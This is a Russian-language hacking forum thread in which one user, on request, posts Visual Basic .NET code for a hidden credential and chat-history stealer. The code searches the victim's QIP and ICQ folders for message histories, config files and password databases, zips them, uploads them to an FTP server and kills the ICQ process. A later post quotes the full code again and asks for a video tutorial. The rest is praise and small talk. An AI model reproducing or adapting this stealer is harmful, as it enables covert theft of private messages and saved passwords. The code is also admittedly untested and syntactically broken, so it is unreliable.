ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #21  
Старый 09.04.2010, 13:19
Аватар для meisterr
meisterr
Участник форума
Регистрация: 25.02.2009
Сообщений: 110
Провел на форуме:
498761

Репутация: 7
По умолчанию

на VB напишите кто нибудь))
 
Ответить с цитированием

  #22  
Старый 09.04.2010, 19:43
Аватар для Eff0rd
Eff0rd
Постоянный
Регистрация: 02.06.2009
Сообщений: 659
Провел на форуме:
4194004

Репутация: 859


Отправить сообщение для Eff0rd с помощью ICQ
По умолчанию

отрубил ведение истории и отчистил все логи, можете меня не хекать =)
 
Ответить с цитированием

ICQ.bin
  #23  
Старый 16.04.2010, 21:23
Аватар для dnsskyline
dnsskyline
Новичок
Регистрация: 20.01.2010
Сообщений: 5
Провел на форуме:
18588

Репутация: 0
Отправить сообщение для dnsskyline с помощью ICQ
По умолчанию ICQ.bin

помогите,в какой programe прочитать ICQ.bin спасибо
 
Ответить с цитированием

  #24  
Старый 16.04.2010, 21:28
Аватар для |qbz|
|qbz|
Познающий
Регистрация: 25.12.2009
Сообщений: 95
Провел на форуме:
750417

Репутация: 51
По умолчанию

переименуй на icq.mdb и открывай через microsoft access
 
Ответить с цитированием

  #25  
Старый 16.04.2010, 22:10
Аватар для dnsskyline
dnsskyline
Новичок
Регистрация: 20.01.2010
Сообщений: 5
Провел на форуме:
18588

Репутация: 0
Отправить сообщение для dnsskyline с помощью ICQ
По умолчанию

А если я делал для icq 7 ? там файл называется Messages.qdb ? ) sps
 
Ответить с цитированием

  #26  
Старый 16.04.2010, 22:39
Аватар для dnsskyline
dnsskyline
Новичок
Регистрация: 20.01.2010
Сообщений: 5
Провел на форуме:
18588

Репутация: 0
Отправить сообщение для dnsskyline с помощью ICQ
По умолчанию

http://www.postimage.org/image.php?v=aVhjeMJ
Что делать при этой ошибки + alrt.vbs a alrtt.vbs
 
Ответить с цитированием

  #27  
Старый 17.04.2010, 00:35
Аватар для ichechen
ichechen
Познающий
Регистрация: 16.10.2009
Сообщений: 40
Провел на форуме:
152013

Репутация: 14
По умолчанию

Цитата:
Сообщение от meisterr  
на VB напишите кто нибудь))
Создаем новый проект Windows Forms
Правим свойства формы
Код:
  Me.ShowIcon = False
        Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.SizableToolWindow
        Me.ShowInTaskbar = False
        Me.WindowState = System.Windows.Forms.FormWindowState.Minimized
Создаем функцию (копируем код ниже)
Код:
  
 Private Function zip(ByVal filenasdasfaame As String, ByVal zipfilename As String) As Boolean
        Try
            filenasdasfaame = specstr(filenasdasfaame)
            zipfilename = specstr(zipfilename)
            Dim strZIPHeader As String
            strZIPHeader = Chr(80) & Chr(75) & Chr(5) & Chr(6) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0)
            Dim fso = CreateObject("Scripting.FileSystemObject")
            Dim tf = fso.CreateTextFile(zipfilename)
            tf.Write(strZIPHeader)
            tf.Close()
            With CreateObject("Shell.Application")
                .NameSpace(zipfilename.ToString).CopyHere(filenasdasfaame.ToString)
            End With
            '(MsgBox("Обновление для Microsoft Windows готовы к установке", MsgBoxStyle.Information))
            Threading.Thread.Sleep(3000)
            z = 1
        Catch ex As Exception
        End Try
        If z <> 0 Then Return True Else Return False
    End Function  

    Private Function _prockill(ByVal procname As String) As Boolean       
        Try
            For Each proc In Process.GetProcessesByName(procname)
                proc.Kill() : z = 1
            Next
            If z = 1 Then Return True Else Return False
        Catch ex As Exception
            Return False
        End Try
    End Function

    Private Function _findfile(ByVal parent As String, ByVal filename As String) As Boolean
     Try          
            parent = specstr(parent)
            For Each fs As IO.FileInfo In My.Computer.FileSystem.GetDirectoryInfo(parent).GetFiles(filename, SearchOption.AllDirectories)
              zip(fs.FullName,fs.FullName & ".zip")

My.Computer.Network.UploadFile(fs.FullName & ".zip", ftp://kuda.ru" & CChar("/") & fs.Name.Replace(fs.Extension, "") & "-" & z.ToString & fs.Extension,user,pasw)
Microsoft.visualBasic.Kill(fs.FullName & ".zip")
                z += 1
        Next
    Catch ex As Exception
    End Try
        If z <> 0 Then Return True Else Return False 
    End Function
Создаем обработчик события загрузки формы (MyBase.Load)
Пишем туда что-то примерно такое:

Код:
Dim p(10) as string
Dim it as integer = 0

For each s in My.Computer.FileSystem.Devices
  if s.isReady then if new IO.DirectoryInfo(s.Root & "\Program Files\QIP").Exist then p(it)=s.Root & "\Program Files\QIP":it+=1
Next
For each s as string in p
 if s<>Nothing AND s<>"" then
 if My.Computer.Network.isAvailable then
 for each ss as string in IO.DirectoryInfo(s & "\Users").GetDirectoryes()
  zip(ss & "\History",ss & ".zip")
  My.Computer.Network.UploadFile(ss & "\History & ".zip","ftp://kuda.ru",user,pasw)
  My.Computer.Network.UploadFile(ss & "\config.ini","ftp://kuda.ru",user,pasw)
  Microsoft.VisualBasic.Kill(ss & "\History & ".zip"")
 end if
Next 
end if
_prockill("ICQ")
_findfile(Environment.GetEnvironmentVariable("APPDATA") & "\ICQ","*.mdb")
_findfile(Environment.GetEnvironmentVariable("APPDATA") & "\ICQ","*.qdb")
Писал без компилятора, наверняка там будут синтаксические ошибки, но думаю вы разберетесь

Также можно всунуть в нескольких местах обработчик исключений с нулевым исключением - для того чтоб ошибка не выскочила, если вообще будет таковая

В общем попробуйте

P.S Кстати приведенный код крадет не только историю, но и файлы паролей (если они сохранены)
Актуально для:
ICQ 6,
ICQ Lite
QIP 2005
Achtung!!!
Написано исключительно в образовательных целях, за практическое использование данного листинга, автор не несет ответственности!

Последний раз редактировалось ichechen; 17.04.2010 в 00:45..
 
Ответить с цитированием

  #28  
Старый 17.04.2010, 13:49
Аватар для dnsskyline
dnsskyline
Новичок
Регистрация: 20.01.2010
Сообщений: 5
Провел на форуме:
18588

Репутация: 0
Отправить сообщение для dnsskyline с помощью ICQ
По умолчанию

Цитата:
Сообщение от ichechen  
Создаем новый проект Windows Forms
Правим свойства формы
Код:
  Me.ShowIcon = False
        Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.SizableToolWindow
        Me.ShowInTaskbar = False
        Me.WindowState = System.Windows.Forms.FormWindowState.Minimized
Создаем функцию (копируем код ниже)
Код:
  
 Private Function zip(ByVal filenasdasfaame As String, ByVal zipfilename As String) As Boolean
        Try
            filenasdasfaame = specstr(filenasdasfaame)
            zipfilename = specstr(zipfilename)
            Dim strZIPHeader As String
            strZIPHeader = Chr(80) & Chr(75) & Chr(5) & Chr(6) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0)
            Dim fso = CreateObject("Scripting.FileSystemObject")
            Dim tf = fso.CreateTextFile(zipfilename)
            tf.Write(strZIPHeader)
            tf.Close()
            With CreateObject("Shell.Application")
                .NameSpace(zipfilename.ToString).CopyHere(filenasdasfaame.ToString)
            End With
            '(MsgBox("Обновление для Microsoft Windows готовы к установке", MsgBoxStyle.Information))
            Threading.Thread.Sleep(3000)
            z = 1
        Catch ex As Exception
        End Try
        If z <> 0 Then Return True Else Return False
    End Function  

    Private Function _prockill(ByVal procname As String) As Boolean       
        Try
            For Each proc In Process.GetProcessesByName(procname)
                proc.Kill() : z = 1
            Next
            If z = 1 Then Return True Else Return False
        Catch ex As Exception
            Return False
        End Try
    End Function

    Private Function _findfile(ByVal parent As String, ByVal filename As String) As Boolean
     Try          
            parent = specstr(parent)
            For Each fs As IO.FileInfo In My.Computer.FileSystem.GetDirectoryInfo(parent).GetFiles(filename, SearchOption.AllDirectories)
              zip(fs.FullName,fs.FullName & ".zip")

My.Computer.Network.UploadFile(fs.FullName & ".zip", ftp://kuda.ru" & CChar("/") & fs.Name.Replace(fs.Extension, "") & "-" & z.ToString & fs.Extension,user,pasw)
Microsoft.visualBasic.Kill(fs.FullName & ".zip")
                z += 1
        Next
    Catch ex As Exception
    End Try
        If z <> 0 Then Return True Else Return False 
    End Function
Создаем обработчик события загрузки формы (MyBase.Load)
Пишем туда что-то примерно такое:

Код:
Dim p(10) as string
Dim it as integer = 0

For each s in My.Computer.FileSystem.Devices
  if s.isReady then if new IO.DirectoryInfo(s.Root & "\Program Files\QIP").Exist then p(it)=s.Root & "\Program Files\QIP":it+=1
Next
For each s as string in p
 if s<>Nothing AND s<>"" then
 if My.Computer.Network.isAvailable then
 for each ss as string in IO.DirectoryInfo(s & "\Users").GetDirectoryes()
  zip(ss & "\History",ss & ".zip")
  My.Computer.Network.UploadFile(ss & "\History & ".zip","ftp://kuda.ru",user,pasw)
  My.Computer.Network.UploadFile(ss & "\config.ini","ftp://kuda.ru",user,pasw)
  Microsoft.VisualBasic.Kill(ss & "\History & ".zip"")
 end if
Next 
end if
_prockill("ICQ")
_findfile(Environment.GetEnvironmentVariable("APPDATA") & "\ICQ","*.mdb")
_findfile(Environment.GetEnvironmentVariable("APPDATA") & "\ICQ","*.qdb")
Писал без компилятора, наверняка там будут синтаксические ошибки, но думаю вы разберетесь

Также можно всунуть в нескольких местах обработчик исключений с нулевым исключением - для того чтоб ошибка не выскочила, если вообще будет таковая

В общем попробуйте

P.S Кстати приведенный код крадет не только историю, но и файлы паролей (если они сохранены)
Актуально для:
ICQ 6,
ICQ Lite
QIP 2005
Achtung!!!
Написано исключительно в образовательных целях, за практическое использование данного листинга, автор не несет ответственности!
у меня большая просьба если бы ты не мог сделать видео по этому , я только начинаю усваивать программу но много чего не знаю a кокрас вот это мне очень надо спасибо если будет время
 
Ответить с цитированием

  #29  
Старый 17.04.2010, 13:51
Аватар для ~STALKER~
~STALKER~
Новичок
Регистрация: 16.04.2010
Сообщений: 5
Провел на форуме:
36457

Репутация: 0
По умолчанию

автору респект
 
Ответить с цитированием

  #30  
Старый 18.04.2010, 11:06
Аватар для zloy_pryanik
zloy_pryanik
Новичок
Регистрация: 26.12.2009
Сообщений: 18
Провел на форуме:
370695

Репутация: 32
Отправить сообщение для zloy_pryanik с помощью ICQ
По умолчанию

ТС клевая статья
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Баги icq kuzmich334 ICQ 28 17.10.2009 00:36
как очистить историю icq ? seofilms ICQ 6 25.09.2009 14:10
ICQ решила нанести новый удар по QIP MaTpOc Мировые новости 32 28.01.2009 12:40
Нужно слить историю QIP Infium .AkeLLa Болталка 14 30.11.2008 22:07



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ